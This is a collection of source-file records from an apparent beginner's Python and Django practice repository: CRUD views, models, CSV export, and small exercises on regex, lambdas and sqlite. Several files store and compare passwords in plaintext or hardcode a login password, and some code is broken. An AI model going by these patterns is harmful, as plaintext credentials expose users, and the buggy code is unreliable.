"path": "/django/sqlite1/app1/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\ndef showindex(request):\n return render(request,\"index.html\")\ndef savedetails(request):\n id = request.POST.get(\"id\")\n name = request.POST.get(\"name\")\n salary = request.POST.get(\"salary\")\n cno= request.POST.get(\"cno\")\n from app11.models import Employee\n d1 = Employee(id=id, name=name, salary=salary,cno=cno )\n d1.save()\n d1 = {\"messege\": \"product data saved\"}\n return render(request, \"index.html\", d1)\n\n" }, { "alpha_fraction": 0.6605616807937622, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 31.13725471496582, "blob_id": "71f373e412b3cdc65f292f31da7234801c241465", "content_id": "879c85bbdf9271ed121d3b5472a6fc43df156373", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1638, "license_type": "no_license", "max_line_length": 82, "num_lines": 51, "path": "/django/project31/app31/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .models import register\nfrom app31.models import login\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n name=request.POST.get(\"t1\")\n cno=request.POST.get(\"t2\")\n email=request.POST.get(\"t3\")\n password=request.POST.get(\"t4\")\n r=register(name=name,cno=cno,email=email,password=password)\n r.save()\n return render(request,\"index.html\",{\"msg\":\"data saved\"})\n\n\ndef login(request):\n email=request.POST.get(\"t5\")\n password=request.POST.get(\"t6\")\n #p=register(email=email,password=password)\n #p.save()\n s=register.objects.get(email=email)\n if s.email==email and s.password==password:\n return render(request,\"details.html\",{\"email\":s.email})\n else:\n return render(request,\"index.html\",{\"msg2\":\"invalid\"})\n\ndef profile(request):\n email=request.GET.get(\"email\")\n d=register.objects.get(email=email)\n return render(request,\"profile.html\",{\"email\":email})\ndef feedback(request):\n uemail=request.GET.get(\"email\")\n try:\n fmail=request.session[\"email\"]\n if uemail==fmail:\n return render(request,\"details.html\",{\"msg1\":\" already given feedback\"})\n else:\n return render(request,\"feedback.html\",{\"email\":uemail})\n except:\n return render(request,\"feedback.html\",{\"email\":uemail})\ndef savefeedback(request):\n email=request.POST.get(\"id\")\n feed=request.POST.get(\"msg\")\n l=login(feedback=feed,uemail=email)\n l.save()\n request.session[\"email\"]=email\n return render(request,\"details.html\",{\"msg\":\"feedback given \"})" }, { "alpha_fraction": 0.6294117569923401, "alphanum_fraction": 0.6294117569923401, "avg_line_length": 17.77777862548828, "blob_id": "87174c7879bf8f21957dceefbe97a6ade9d5c3ca", "content_id": "961c7ac1a5d5e58c9294a4cba458b73ddacdfaaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 170, "license_type": "no_license", "max_line_length": 27, "num_lines": 9, "path": "/regular expressions/findall if else.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nst=\"this is mahesh\"\nword=(\"enter a word find\")\nres=re.findall(\"word\",st)\nif res==[]:\n print(\"no match found\")\nelse:\n print(\"match found\")\n print(res)\n\n" }, { "alpha_fraction": 0.6463414430618286, "alphanum_fraction": 0.6524389982223511, "avg_line_length": 19.625, "blob_id": "9308696bc6a34eca9e35a47b1674592e0879e878", "content_id": "de4ceb05f784384ccc0bc3e986b3e1a297c4d899", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 164, "license_type": "no_license", "max_line_length": 39, "num_lines": 8, "path": "/mdb/mongodb4.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient\ncurs=MongoClient().simha.student.find()\n\nif curs.count()>0:\n for x in curs:\n print(x)\nelse:\n print(\"No Data found\")" }, { "alpha_fraction": 0.6617283821105957, "alphanum_fraction": 0.6617283821105957, "avg_line_length": 24.375, "blob_id": "c1e6f71f25e55394ae3bbf6984b0ef1532f8eb3e", "content_id": "446fa2ae8a7c58850838a73dbc8c3bacc48b2a30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 405, "license_type": "no_license", "max_line_length": 61, "num_lines": 16, "path": "/django/boot/app1/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n name=request.POST.get(\"email\")\n password=request.POST.get(\"pass\")\n\n\n if name=='[email protected]' and password==\"rajesh\":\n return render(request,\"index.html\",{\"msg\":\"valid\"})\n else:\n return render(request,\"index.html\",{\"msg\":\"invalid\"})" }, { "alpha_fraction": 0.6963151097297668, "alphanum_fraction": 0.7064803242683411, "avg_line_length": 29.30769157409668, "blob_id": "787445f93e14ae94bed4da7581d0bd02c5550a92", "content_id": "abeb847b7a676ea9e17c12ed4b3d4261c0755fec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 787, "license_type": "no_license", "max_line_length": 70, "num_lines": 26, "path": "/django/project25/app25/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .models import employee\nfrom django.http import HttpResponse\nimport csv\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef showdetails(request):\n name=request.POST.get(\"t1\")\n cno=request.POST.get(\"t2\")\n desig=request.POST.get(\"t3\")\n salary=request.POST.get(\"t4\")\n e1=employee(name=name,cno=cno,desig=desig,salary=salary)\n e1.save()\n return render(request,\"index.html\",{\"message\":\"download details\"})\ndef downdetails(request):\n http=HttpResponse(content_type='text/csv')\n http['content-Disposition']='attachment;filename=\"employee.csv\"'\n w=csv.writer(http)\n e2=employee.objects.all()\n for x in e2:\n w.writerow([x.name,x.cno,x.desig,x.salary])\n return http" }, { "alpha_fraction": 0.5375276207923889, "alphanum_fraction": 0.5452538728713989, "avg_line_length": 20.0930233001709, "blob_id": "f3373378c66e7bdedf68ba3ee359e017c682feea", "content_id": "283ada75d9d387dc83e29ae4fb7a7ab92a969377", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 906, "license_type": "no_license", "max_line_length": 51, "num_lines": 43, "path": "/django/project32/app32/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\nhero={\n \"pawan\":\n {\n \"image\":\"kushi.jpg\",\n \"song\":\"pawan.mp3\",\n\n },\n \"ntr\":\n {\n \"image\": \"janatha.jpg\",\n \"song\": \"ntr.mp3\",\n\n },\n \"mahesh\":\n {\n \"image\": \"pokiri.jpg\",\n \"song\": \"mahesh.mp3\",\n\n },\n\n}\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef pawan(request):\n p=request.POST.get(\"t1\").lower()\n img=hero[p]\n return render(request,\"image.html\",{\"img\":img})\ndef ntr(request):\n p=request.POST.get(\"t1\").lower()\n img=hero[p]\n return render(request,\"image.html\",{\"img\":img})\ndef mahesh(request):\n p=request.POST.get(\"t1\").lower()\n img=hero[p]\n return render(request,\"image.html\",{\"img\":img})\ndef heros(request):\n hero=request.POST.get(\"t4\").lower()\n res=hero[hero]\n return render(request,\"image.html\",{\"res\":res})" }, { "alpha_fraction": 0.6421319842338562, "alphanum_fraction": 0.6751269102096558, "avg_line_length": 34.90909194946289, "blob_id": "9f1ec302d565219a821d658522c21ea7f5dbd111", "content_id": "7819a79f5170ce9b590859f9e10c0b1f03902abf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 394, "license_type": "no_license", "max_line_length": 108, "num_lines": 11, "path": "/lamada/lambda1.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "result = lambda x , y : x + y\nprint(result)\nprint(result (10,20))\nprint(\"lamda function with 2 argument\")\n# lambda function with two arguments\nresult = lambda id , name : print(\"ID :\",id,'\\nName :',name)\nresult(10,\"raj\")\n# lamda function with defult values\nresult = lambda id = None, name = None , salary = 0.0 : print('ID :',id,'\\nName :',name,'\\nSalary :',salary)\nprint(result)\nresult(1d=100)" }, { "alpha_fraction": 0.7551020383834839, "alphanum_fraction": 0.7653061151504517, "avg_line_length": 23.5, "blob_id": "81f03c926271294a6a1e39ff6cd2914947dacc3a", "content_id": "71efe7f20b6741eb17ff0e26084a2b7d627ce453", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 98, "license_type": "no_license", "max_line_length": 50, "num_lines": 4, "path": "/django/SQLITE/demo2.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import sqlite3 as sql\nconn=sql.connect(r\"c:\\Users\\Rajesh\\desktop\\rajdb\")\nprint(conn)\nconn.close()\n" }, { "alpha_fraction": 0.7227272987365723, "alphanum_fraction": 0.7227272987365723, "avg_line_length": 19.090909957885742, "blob_id": "b8a76a818f1f729218e1cf4d893b03019686c650", "content_id": "2d52e3f39b34ca6a8c91365923f62b1d0cdf2632", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 220, "license_type": "no_license", "max_line_length": 55, "num_lines": 11, "path": "/django/project17/app17/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n check=request.POST.getlist(\"course\")\n\n return render(request,\"index.html\",{\"check\":check})" }, { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7663817405700684, "avg_line_length": 34.20000076293945, "blob_id": "4eb896c98b200adbf510ebcb38e662c3537e0553", "content_id": "c465adc35711b794a19ebb7c2697930c98816d63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "no_license", "max_line_length": 46, "num_lines": 10, "path": "/django/project31/app31/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\nclass register(models.Model):\n name=models.CharField(max_length=50)\n cno=models.IntegerField(default=10)\n email=models.EmailField(primary_key=True)\n password=models.CharField(max_length=10)\n\nclass login(models.Model):\n uemail=models.EmailField(primary_key=True)\n feedback=models.CharField(max_length=250)" }, { "alpha_fraction": 0.7180451154708862, "alphanum_fraction": 0.7443609237670898, "avg_line_length": 37, "blob_id": "6805a12b2b88887ab10fa77017ddb39d609b94d6", "content_id": "d5a38389185883adfb74d01183098db13ca75c62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 266, "license_type": "no_license", "max_line_length": 63, "num_lines": 7, "path": "/django/proj12/app12/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass employee(models.Model):\n id = models.IntegerField(default=4,primary_key=True)\n name = models.CharField(max_length=50)\n salary = models.DecimalField(max_digits=9,decimal_places=2)\n cno = models.IntegerField(default=10)\n" }, { "alpha_fraction": 0.5692307949066162, "alphanum_fraction": 0.6025640964508057, "avg_line_length": 27.231884002685547, "blob_id": "baac12f5afc472d6bbf6a1160d27fa1b3a4a32e2", "content_id": "5fe1f66aa1421735c2637cfb999a89ba9a5c2e4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1950, "license_type": "no_license", "max_line_length": 81, "num_lines": 69, "path": "/django/proj12/app12/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom app12.models import employee\n# Create your views here.\ndef showindex(request):\n p1=employee.objects.all()\n p3=employee.objects.last()\n id2=0\n if p3==None:\n id=1\n else:\n id2=p3.id\n id2=(int(id2)+1)\n return render(request,\"index.html\",{\"employee\":p1,\"key\":id2})\n\ndef showregister(request):\n id=request.POST.get(\"idno\")\n name=request.POST.get(\"name\")\n salary=request.POST.get(\"salary\")\n cno=request.POST.get(\"cno\")\n p=employee(id=id,name=name,salary=salary,cno=cno)\n p.save()\n d1={\"messege\":\"product data saved\"}\n p1=employee.objects.all()\n p3 = employee.objects.last()\n id2 = 0\n if p3 == None:\n id = 1\n else:\n id2 = p3.id\n id2 = (int(id2))\n return render(request, \"index.html\", {\"employee\": p1, \"key\": id2})\n\ndef delete(request):\n id=request.POST.get(\"delete_id\")\n print(id)\n employee.objects.filter(id=id).delete()\n p1=employee.objects.all()\n p3 = employee.objects.last()\n id2 = 0\n if p3 == None:\n id = 1\n else:\n id2 = p3.id\n id2 = (int(id2)+1)\n\n d2={\"data modified\"}\n return render(request,\"index.html\",{\"d2\":d2,\"employee\":p1,\"key\":id2})\n\ndef update(request):\n id1=request.GET[\"update_id\"]\n p2=employee.objects.get(id=id1)\n return render(request,\"update.html\",{\"p\":p2,\"id\":id1})\ndef updatedetails(request):\n id1=request.GET[\"update_id\"]\n id = request.POST.get(\"idno\")\n name = request.POST.get(\"name\")\n salary = request.POST.get(\"salary\")\n cno = request.POST.get(\"cno\")\n employee.objects.filter(id=id1).update(id=id,name=name,salary=salary,cno=cno)\n d3= {\"messege\": \"product data update\"}\n p1 = employee.objects.all()\n p3 = employee.objects.last()\n id2 = 0\n if p3 == None:\n id = 1\n else:\n id2 = p3.id\n id2 = (int(id2)+1)\n return render(request, \"index.html\", {\"employee\": p1, \"key\": id2})\n\n\n" }, { "alpha_fraction": 0.6924564838409424, "alphanum_fraction": 0.7001934051513672, "avg_line_length": 38.46154022216797, "blob_id": "c957f2b60b3d42db1d566346fd0936f2a573427e", "content_id": "a66546957b242908872d406a1a8d4301210cfe28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 60, "num_lines": 13, "path": "/django/project22/app22/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom app22.function import handle_uploaded_file\nfrom app22.forms import StudentForm\ndef index(request):\n if request.method=='POST':\n student=StudentForm(request.POST,request.FILES)\n if student.is_valid():\n handle_uploaded_file(request.FILES['file'])\n return HttpResponse(\"File uploaded sucessfully\")\n else:\n student=StudentForm()\n return render(request,\"index.html\",{\"form\":student})\n\n\n\n\n" }, { "alpha_fraction": 0.5718749761581421, "alphanum_fraction": 0.609375, "avg_line_length": 25.41666603088379, "blob_id": "2c45348d54488aeec5c37ed1848f2d1be16a2ac6", "content_id": "c01f0ef02dd43c540cfad8856fcf7c701902cc91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 320, "license_type": "no_license", "max_line_length": 32, "num_lines": 12, "path": "/exception/demo3.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "try:\n no1=int(input(\"1st no:\",))\n no2=int(input(\"2nd no:\",))\n print(\"the sum=\",no1+no2)\n print(\"the div=\",no1/no2)\n print(\"the sub=\",no1-no2)\n print(\"the mul=\",no1*no2)\nexcept ZeroDivisionError:\n print(\"cannot div by zero\")\nexcept ValueError:\n print(\"only integer values\")\n print(\"thanks\")\n\n\n\n" }, { "alpha_fraction": 0.7044534683227539, "alphanum_fraction": 0.7044534683227539, "avg_line_length": 21.545454025268555, "blob_id": "e92dec0018331fd80ee156ee9b7ecff1b19d3ab0", "content_id": "52cc3f547d4e60dad678decf2fbd69c5bc637dee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 247, "license_type": "no_license", "max_line_length": 51, "num_lines": 11, "path": "/django/project15/app15/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n res=request.POST.get(\"date\")\n print(res)\n return render(request,\"index.html\",{\"res\":res})" }, { "alpha_fraction": 0.41791045665740967, "alphanum_fraction": 0.4552238881587982, "avg_line_length": 21.41666603088379, "blob_id": "c70f8f7b45c0799815a5b532e09c48b3c63cdb93", "content_id": "f39fb9e02708c2b53a51b7e6dcaa4f58bd445281", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 268, "license_type": "no_license", "max_line_length": 29, "num_lines": 12, "path": "/django/untitled2/demo7.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "for x in range(4):\n for y in range(1,x+1,4):\n print(end=\"\")\n for y in range(x+1):\n print(\"* \",end=\"\")\n print()\nfor x in range(4):\n for y in range(x+2):\n print(end=\"\")\n for y in range(4,x+1,-1):\n print(\"* \",end=\"\")\n print()" }, { "alpha_fraction": 0.634819507598877, "alphanum_fraction": 0.6571125388145447, "avg_line_length": 30.366666793823242, "blob_id": "f7d1241e281e8fb6b14ec6c37006d6bb317260ec", "content_id": "eb7cc24d2eefb0e333ea3470fc712b1f506eb3d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 942, "license_type": "no_license", "max_line_length": 65, "num_lines": 30, "path": "/mongo2/app2/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom app2.models import shop\ndef showindex(request):\n s1=shop.objects.all()\n return render(request,\"index.html\",{\"shop\":s1})\n\ndef showregister(request):\n id=request.POST.get(\"id\")\n name=request.POST.get(\"name\")\n price=request.POST.get(\"price\")\n qty=request.POST.get(\"qty\")\n s=shop(id=id,name=name,price=price,quntity=qty)\n s.save()\n d1={\"messege\":\"product data saved\"}\n s1=shop.objects.all()\n return render(request,\"index.html\",{\"d1\":d1,\"shop\":s1})\n\ndef delete(request):\n id=request.POST.get(\"delete_id\")\n shop.objects.filter(id=id).delete()\n s1=shop.objects.all()\n d2={\"data modified\"}\n return render(request,\"index.html\",{\"d2\":d2,\"shop\":s1})\n\ndef update(request):\n id1=request.GET[\"update_id\"]\n s=shop.objects.get(id=id1)\n s1=shop.objects.all()\n d3={\"messege 2\":\"data update\"}\n return render(request,\"index.html\",{\"shop\":s1,\"s\":s,\"d3\":d3})\n\n" }, { "alpha_fraction": 0.7394636273384094, "alphanum_fraction": 0.7624521255493164, "avg_line_length": 36.14285659790039, "blob_id": "27358b6c11cd30b3bba98857c9c792bc2aeb673c", "content_id": "fc3a10bb7a2e1c34757fd5e45de6f527dbc9d417", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 60, "num_lines": 7, "path": "/django/untitled/app13/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass product(models.Model):\n id=models.IntegerField(default=2,primary_key=True)\n name=models.CharField(max_length=50)\n price=models.DecimalField(max_digits=9,decimal_places=2)\n quntity= models.IntegerField(default=2)\n\n" }, { "alpha_fraction": 0.4668930470943451, "alphanum_fraction": 0.4677419364452362, "avg_line_length": 26.395349502563477, "blob_id": "ca49899b6a3848160f45ef64381374173cd5359d", "content_id": "d9a2623eb0831b01ef98dd3018f4aec3e061c825", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1178, "license_type": "no_license", "max_line_length": 71, "num_lines": 43, "path": "/django/projet21/app21/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\nh={\n \"pavan\":\n {\n \"kushi\":\"kushi.jpg\",\n \"balu\":\"balu.jpg\",\n \"badri\":\"badri.jpg\",\n \"tholiprema\":\"tholiprema.jpg\",\n \"thamudu\":\"thamudu.jpg\"\n },\n \"Mahesh\":{\n \"pokiri\":\"pokiri.jpg\",\n \"murari\":\"murari.jpg\",\n \"dookudu\":\"dookudu.jpg\",\n \"one\":\"one.jpg\",\n \"okkadu\":\"okkadu.jpg\",\n },\n \"ntr\":{\n \"aravinda sametha\":\"aravinda.jpg\",\n \"aadi\":\"aadi.jpg\",\n \"jailavakusha\":\"jai.jpg\",\n \"temper\":\"temper.jpg\",\n \"janatha\":\"janatha.jpg\",\n },\n }\n\ndef showindex(request):\n return render(request,\"index.html\")\ndef show(request):\n hero = request.POST.get(\"hero\")\n return render(request,\"index.html\",{\"hero\":h[hero],\"hero1\":hero})\n\n\ndef showmovie(request):\n image=request.POST.getlist(\"image\")\n name=request.POST.get(\"name\")\n res=h[name]\n list=[]\n for x in image:\n list=list+[h[name][x],]\n\n return render(request,\"index.html\",{\"image\":list,\"hero\":res,\"h\":h})\n" }, { "alpha_fraction": 0.6828752756118774, "alphanum_fraction": 0.6871035695075989, "avg_line_length": 28.625, "blob_id": "0350cd102449d941a6c0913c997eed090dabbfc3", "content_id": "8daaafc9757430551eff57ae87d98bdcb1472ee6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 473, "license_type": "no_license", "max_line_length": 73, "num_lines": 16, "path": "/django/project29/app29/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .models import employee\n\n# Create your views here.\ndef index(request):\n return render(request,\"index.html\")\n\n\ndef show(request):\n name = request.POST.get(\"name\")\n cno = request.POST.get(\"age\")\n desig = request.POST.get(\"desig\")\n salary = request.POST.get(\"salary\")\n e1 =employee(name=name, cno=cno, desig=desig, salary=salary)\n e1.save()\n return render(request, \"index.html\", {\"message\": \"download details\"})" }, { "alpha_fraction": 0.5188679099082947, "alphanum_fraction": 0.5377358198165894, "avg_line_length": 20.399999618530273, "blob_id": "a1108e67633c45bc1895e64cce10769988a2b438", "content_id": "d981b6063261c8f175235b9fe7a45e948c1fb81b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 106, "license_type": "no_license", "max_line_length": 26, "num_lines": 5, "path": "/django/untitled2/demo.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "name=(input(\"enter name\"))\nfor x in range(0,6):\n for y in range(x):\n print(y,end=\"\")\n print()" }, { "alpha_fraction": 0.593339204788208, "alphanum_fraction": 0.6117441058158875, "avg_line_length": 30.69444465637207, "blob_id": "2d349cd3adf8602b9095cda36d12a2a6447fd625", "content_id": "f5c130653dad4f546c1e8bcea16886aa2d092564", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1141, "license_type": "no_license", "max_line_length": 91, "num_lines": 36, "path": "/django/pro10/app9/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom firebase import firebase as fab\nfa= fab.FirebaseApplication(\"https://raju-45416.firebaseio.com/Employee\",None)\ndef showindex(request):\n return render(request,\"index.html\")\ndef showregister(request):\n id=request.GET.get(\"update_id\")\n if id==None:\n key = 0\n d2 = fa.get(\"Employee/\", None)\n if d2 == None:\n key = 101\n else:\n for x in d2:\n key = x\n key = int(key) + 1\n return render(request,\"register.html\",{\"key\":key})\n else:\n d2=fa.get(\"Employee/\",id)\n return render(request,\"register.html\",{\"key\":id,\"name\":d2[\"name\"],\"cno\":d2[\"cno\"]})\ndef showview(request):\n d3=fa.get(\"Employee/\",None)\n return render(request,\"views.html\",{\"d3\":d3})\n\ndef showdetails(request):\n id=request.POST[\"idno\"]\n name=request.POST.get(\"name\")\n cno=request.POST.get(\"cno\")\n d1={\"name\":name,\"cno\":cno,\"id\":id}\n fa.put(\"Employee/\",id,d1)\n return render(request,\"index.html\")\n\ndef deletedetails(request):\n id = request.POST.get(\"delete\")\n fa.delete(\"Employee/\", id)\n return showview(request)\n" }, { "alpha_fraction": 0.7311828136444092, "alphanum_fraction": 0.7688171863555908, "avg_line_length": 36.20000076293945, "blob_id": "484dca52dc211c2c4c7924548341c9c8705a4380", "content_id": "e23cfa7410c4b7be15222e03ac47805e7983aecb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 186, "license_type": "no_license", "max_line_length": 45, "num_lines": 5, "path": "/django/project30/app30/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\nclass Feedback(models.Model):\n name=models.CharField(max_length=50)\n cno=models.IntegerField(default=10)\n feedback=models.CharField(max_length=200)\n" }, { "alpha_fraction": 0.5350000262260437, "alphanum_fraction": 0.5350000262260437, "avg_line_length": 19.100000381469727, "blob_id": "0df0d64269daf7e612903bb692a60c13826faea1", "content_id": "c42468e8f4b0858a69373897d3887fa7e2c8de8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "no_license", "max_line_length": 38, "num_lines": 10, "path": "/inheritance/demo6.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "class A:\n def __init__(self):\n print(\"defualt constructor\")\n def __del__(self):\n print(\"destructor of class A\")\nclass B(A):\n def show(self):\n print(\"show\")\nb=B()\nb.show()" }, { "alpha_fraction": 0.6486486196517944, "alphanum_fraction": 0.6824324131011963, "avg_line_length": 20.14285659790039, "blob_id": "9792ee85dc0baf5203819ae0a7d8524990eb5e06", "content_id": "2d1fc7fbaaf13510289ba188e554ddfcbcd4bd28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 296, "license_type": "no_license", "max_line_length": 65, "num_lines": 14, "path": "/django/SQLITE/demo4.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import sqlite3 as sql\nconn=sql.connect(\"raj.db\")\ncurs=conn.cursor()\ntry:\n curs.execute(\"insert into product values(101,'raj',120000)\")\n print(\"product inserted\")\n\nexcept sql.OperationalError as oe:\n print(oe)\nfinally:\n curs.close()\n conn.commit()\n conn.close()\nprint(\"thanks\")\n" }, { "alpha_fraction": 0.7171717286109924, "alphanum_fraction": 0.7171717286109924, "avg_line_length": 19, "blob_id": "4007aa6705c7b5d878f17b6cfbfc122b82371a3b", "content_id": "803790934598bbea76441848c7a8d036ed091313", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "no_license", "max_line_length": 31, "num_lines": 5, "path": "/regular expressions/match.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "import re\nstr=\"this is python\"\n#input(\"enter a word to match\")\nst=re.match(r\"python\",str)\nprint(st)" }, { "alpha_fraction": 0.643478274345398, "alphanum_fraction": 0.6670807600021362, "avg_line_length": 25, "blob_id": "943ad0a71759d4b833e146ec08e3d7ff77b4b574", "content_id": "bfad4fa80a6e018db5a4d5e7a9c651a29b2bf1a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 805, "license_type": "no_license", "max_line_length": 57, "num_lines": 31, "path": "/mongo3/app3/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .models import shop\n# Create your views here.\ndef showindex(request):\n s1 = shop.objects.all()\n return render(request, \"index.html\", {\"s1\": s1})\n\n\n\ndef savedetails(request):\n id=request.POST.get(\"id\")\n name=request.POST.get(\"name\")\n salary=request.POST.get(\"salary\")\n s=shop(id=id,name=name,salary=salary)\n s.save()\n s1=shop.objects.all()\n return render(request,\"index.html\",{\"s1\":s1})\n\n\ndef deleteitem(request):\n id1=request.POST.get(\"delete\")\n shop.objects.filter(id=id1).delete()\n s1=shop.objects.all()\n return render(request,\"index.html\",{\"s1\":s1})\n\n\ndef updateitem(request):\n id2=request.GET[\"update\"]\n s2=shop.objects.get(id=id2)\n s1=shop.objects.all()\n return render(request,\"index.html\",{\"s1\":s1,\"s2\":s2})" }, { "alpha_fraction": 0.7361111044883728, "alphanum_fraction": 0.7638888955116272, "avg_line_length": 34.83333206176758, "blob_id": "040ac56cb18f492d8eb7d71b44312dfb4d8cbd9b", "content_id": "299335276b03887b7235f5e61a9aa2e5bb5a651a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "no_license", "max_line_length": 62, "num_lines": 6, "path": "/mongo3/app3/models.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass shop(models.Model):\n id=models.IntegerField(default=4,primary_key=True)\n name=models.CharField(max_length=50)\n salary=models.DecimalField(max_digits=10,decimal_places=2)\n\n" }, { "alpha_fraction": 0.6150870323181152, "alphanum_fraction": 0.7001934051513672, "avg_line_length": 29.47058868408203, "blob_id": "09b349a0ad0ccef09126b6d9f69bac02bd83bec8", "content_id": "4054df63961c28fea858dd2621d168ad60f55872", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 64, "num_lines": 17, "path": "/django/project26/app26/views.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nimport csv\n# Create your views here.\ndef showindex(request):\n return render(request,\"index.html\")\n\n\ndef showdetails(request):\n http=HttpResponse(content_type='text/csv')\n http['content-disposition']='attachment;filename=\"employee\"'\n w=csv.writer(http)\n w.writerow(['101','raj',122000.00])\n w.writerow(['102','jay',185000.00])\n w.writerow(['103','sumanth',150000.00])\n w.writerow(['104','mahi',150000.00])\n return http" }, { "alpha_fraction": 0.5869565010070801, "alphanum_fraction": 0.6014492511749268, "avg_line_length": 22, "blob_id": "563d3dff4b4a033758adc787bbfe02797ba694a5", "content_id": "ef1760f7898520514419553067c0482dcfaf7487", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 138, "license_type": "no_license", "max_line_length": 30, "num_lines": 6, "path": "/constrctor/defult.py", "repo_name": "rajeshanu/rajeshprograms", "src_encoding": "UTF-8", "text": "def __init__(seif):\n print(\"defult constactor\")\ndef display(self):\n print(\"this is display\")\n e1=employee()\n e1.display()\n" }, { 